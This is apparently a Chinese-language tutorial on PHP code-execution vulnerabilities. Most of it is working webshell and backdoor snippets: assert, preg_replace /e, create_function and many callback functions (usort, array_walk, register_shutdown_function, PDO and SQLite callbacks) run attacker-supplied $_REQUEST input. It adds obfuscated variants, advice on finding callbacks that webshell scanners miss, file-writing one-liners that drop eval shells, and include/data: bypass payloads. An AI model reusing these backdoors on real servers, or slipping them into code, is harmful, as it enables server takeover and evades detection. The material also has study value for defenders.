代码执行
漏洞形成原因:客户端提交的参数,未经任何过滤,传入可以执行代码的函数,造成代码执行漏洞。
常见代码注射函数:
如:eval
、preg_replace+/e
、assert
、call_user_func
、call_user_func_array
、create_function
等函数
漏洞危害:执行代码,写入webshell、控制服务器
示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
if(isset($_POST['c'])){ $c = $_POST['c']; if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); } }else{ highlight_file(__FILE__); } ?>
|
代码执行的几种方式
1 2 3 4 5 6 7 8 9 10 11
| ${}执行代码 eval assert() preg_replace() create_function() array_map() call_user_func()/call_user_func_array() array_filter() usort(),uasort() 反引号执行 ...
|
${}执行代码
eval()执行代码
assert()执行代码
assert支持普通调用和动态调用
普通调用
1 2
| <?php assert($_POST['a']);?>
|
php<7.0动态调用
1 2 3 4 5 6 7 8 9 10
| <?php $a = 'assert'; $a($_POST['a']); ?> 或 <?php
$_GET['a']($_GET['b']); ?>
|
php>7字符串调用
1 2 3
| <?php error_reporting(0); ('assert')('system("whoami")');
|
php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:
这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。
比如如下回调后门:
1 2 3 4
| <?php $e = $_REQUEST['e']; $arr = array('test', $_REQUEST['pass']); uasort($arr, base64_decode($e));
|
反引号执行
1
| php -r "echo @`whoami`;"
|
preg_replace()
preg_replace用于正则表达式的搜索和替换,关键在于有没有用/e
修饰符,如果没用/e
修饰符,代码不会执行。
适用版本: php5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| $a = 'phpinfo()'; $b = preg_replace("/abc/e",$a,'abcd');
<?php mb_ereg_replace('.*', "phpinfo()", '', 'e');
<?php echo preg_filter('|.*|e', $_REQUEST['pass'], '');
<?php preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
<?php mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
<?php $iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);')); foreach ($iterator as $item) { echo $item; }
|
create_function()
用法:
string create_function ( string $args , string $code )
这个函数用于创建匿名函数并且赋给一个变量
内部实现:
1 2 3 4 5 6 7 8 9
| $b = create_function('$name','echo $name;');
function niming($name){ echo $name; }
$b(yang);
niming('yang');
|
当create_function()不正确使用时,可以远程代码执行:
1 2 3 4 5 6 7 8 9 10
| $id=$_GET['id'];
$code = 'echo $name. '.'的编号是'.$id.'; ';
$b = create_function('$name',$code);
function niming($name){ echo $name."编号".$id; } $b('sd');
|
传入id=2;}phpinfo();/*
其中/*
作用是注释掉后面的}号以及后面的代码
传入后结果:
回调函数
回调函数即使用某一个参数作为函数,其他参数作为其参数的函数,最经典的就是call_user_func
函数
常见的有
1 2 3 4 5 6 7 8 9
| call_user_func(最经典) call_user_func_array array_map array_filter usort/uasort uksort array_walk array_walk_recursive ...
|
array_map()
用法:
array array_map ( callable $callback , array $array1 [, array $… ] )
array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
示例:
1 2 3 4 5
| $a = $_GET['a']; $b = $_GET['b']; $array[0] = $b; $c = array_map($a,$array);
|
call_user_func()/call_user_func_array()
用法跟array_map()差不多
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
call_user_func()
1 2
| call_user_func(assert,$GET['a']);
|
call_user_func_array()
1 2 3 4
| $array[0] = $_GET['a'];
call_user_func_array("assert",$array);
|
array_filter()
说明:
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
示例:
1 2
| $array[0] = $_GET['a']; array_filter($array,'assert');
|
usort()/uasort()
usort说明:
bool usort ( array &$array , callable $value_compare_func )
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。
用法一:
php5.6以上可以使用,其中...$_GET
是php5.6引入的新特性,作用是将数组展开成参数的形式
1 2 3 4
| <?php // ?1[]=test&1[]=phpinfo();&2=assert usort(...$_GET); ?>
|
用法二:
php5.6以下依旧使用$_GET
1 2
| usort($_GET,'asse'.'rt');
|
uksort
与usort相对,是对键进行排序
1 2 3
| <?php $arr = array("test"=>1,"var_dump('uksort')"=>2); uksort($arr,"assert");
|
php5.6.39执行如下
查找可用回调函数
目前常见的回调函数都(call_user_func等)被webshell查杀软件列入可疑名单,但是仍然有部分回调函数没有被找到,可通过以下方法快速查找。
去PHP官网查阅函数手册,查找可以用作后门的PHP回调函数,根据实际经验,利用下面五个关键词,能提高查找到拥有后门潜质的PHP回调函数的效率:
关键词一:callable
关键词二:mixed $options
关键词三:handler
关键词四:callback
关键词五:invoke
找到以下函数
1
| array_uintersect_assoc/array_uintersect
|
array_uintersect_assoc — 带索引检查计算数组的交集,用回调函数比较数据
用法
1
| array_uintersect_assoc(array $array, array ...$arrays, callable $value_compare_func): array
|
根据定义写一个一句话木马
1 2
| <?php array_uintersect(array($_POST['cmd']), array(1),'assert');
|
同理还有
1 2 3 4
| array_intersect_uassoc array_intersect_ukey array_udiff_assoc array_udiff_uassoc
|
按参数个数划分函数
php中,可以执行代码的函数:
- 一个参数:assert
- 两个参数:assert (php5.4.8+)
- 三个参数:preg_replace /e模式
其中assert可以简单使用
1 2 3 4 5 6 7 8 9 10
| <?php $a = 'assert'; $a($_POST['a']); ?>
<?php error_reporting(0); ('assert')('system("whoami")');
|
如果使用两个参数的用法,则如下
1 2
| <?php assert("var_dump(1)","test");
|
结合其他函数的用法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php $arr = array("test"=>1,"var_dump('uksort')"=>2); uksort($arr,"assert");
<?php $arr = array("test","var_dump('usort')"); usort($arr,"assert");
<?php
$arr = new ArrayObject(array('test', $_REQUEST['pass'])); $arr->uasort('assert');
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2)); $arr->uksort('assert');
<?php $e = $_REQUEST['e']; $arr = array(1); array_reduce($arr, $e, $_POST['pass']);
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass']); $arr2 = array(1); array_udiff($arr, $arr2, $e);
|
三个参数的则对应preg_replace
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php $a = 'phpinfo()'; $b = preg_replace("/abc/e",$a,'abcd');
<?php
$e = "preg_replace"; $arr = array('phpinfo()' => '|.*|e',); array_walk($arr, $e, '');
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass'] => '|.*|e',); array_walk_recursive($arr, $e, '');
|
无回显
1 2 3 4
| <?php ob_start('assert'); echo $_REQUEST['pass']; ob_end_flush();
|
好用单参数后门
preg_replace函数受限制于php5.5以前,assert在php7.0.12后不能动态调用,记录一下p牛给出的单参数后门。
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php
$e = $_REQUEST['e']; register_shutdown_function($e, $_REQUEST['pass']);
<?php $e = $_REQUEST['e']; declare(ticks=1); register_tick_function ($e, $_REQUEST['pass']);
<?php filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert')); filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
|
数据库操作后门
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php $e = $_REQUEST['e']; $db = new PDO('sqlite:sqlite.db3'); $db->sqliteCreateFunction('myfunc', $e, 1); $sth = $db->prepare("SELECT myfunc(:exec)"); $sth->execute(array(':exec' => $_REQUEST['pass']));
<?php if(($db = @new PDO('sqlite::memory:')) && ($sql = strrev('TSOP_')) && ($sql = $$sql)) { $stmt = @$db->query("SELECT '{$sql[b4dboy]}'"); $result = @$stmt->fetchAll(PDO::FETCH_FUNC, str_rot13('nffreg')); } ?> <?php $e = $_REQUEST['e']; $db = new SQLite3('sqlite.db3'); $db->createFunction('myfunc', $e); $stmt = $db->prepare("SELECT myfunc(?)"); $stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT); $stmt->execute();
<?php $str = urlencode($_REQUEST['pass']); $yaml = <<<EOD greeting: !{$str} "|.+|e" EOD; $parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));
<?php $mem = new Memcache(); $re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);')); $mem->connect($_REQUEST['pass'], 11211, 0);
|
文件操作函数
file_put_contents()
函数把一个字符串写入文件中。
fputs()
函数写入文件
1 2 3 4
| <?php $test='<?php eval($_POST[cmd]);?>'; file_put_contents('test1.php',$test); ?>
|
1 2 3
| <?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>'); ?>
|
Python
- system
- popen
- subprocess.call
- spawn
Java
- java.lang.Runtime.getRuntime().exec(command)
PHP绕过方式
使用文件包含函数include+伪协议的方式包含恶意代码执行命令
文件包含的函数
1 2 3 4
| include include_once require require_once
|
payload
1 2
| ?cmd=include$_GET[_]?>&_=data: ?cmd=?><?=include$_GET[_]?>&_=data:
|
include忽略空格,分号使用?>
替代,将原本要执行的代码放到另一个变量里面传入
参考链接